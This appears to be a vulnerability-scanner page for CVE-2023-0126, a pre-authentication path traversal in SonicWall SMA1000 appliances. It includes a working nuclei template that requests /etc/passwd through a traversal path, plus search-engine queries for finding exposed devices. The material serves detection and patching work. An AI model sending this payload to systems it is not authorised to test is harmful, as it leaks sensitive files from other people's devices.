SonicWall SMA1000 LFI

highseverity

7.5CVSS score

72.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the affected device, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/images//////////////////../../../../../../../../etc/passwd
Positive when: contains in header "content/unknown" AND matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-0126 -u <target>

The full check

id: CVE-2023-0126

info:
  name: SonicWall SMA1000 LFI
  author: tess
  severity: high
  description: |
    Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the affected device, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0126
    - https://github.com/advisories/GHSA-mr28-27qx-phg3
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0001
    - https://github.com/Gerxnox/One-Liner-Collections
    - https://github.com/thecybertix/One-Liner-Collections
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-0126
    cwe-id: CWE-22
    epss-score: 0.72699
    epss-percentile: 0.9945
    cpe: cpe:2.3:h:sonicwall:sma1000:-:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: sonicwall
    product: sma1000
    shodan-query: title:"Appliance Management Console Login"
    fofa-query: title="appliance management console login"
    google-query: intitle:"appliance management console login"
  tags: cve2023,cve,sonicwall,lfi,sma1000,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/images//////////////////../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - content/unknown

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from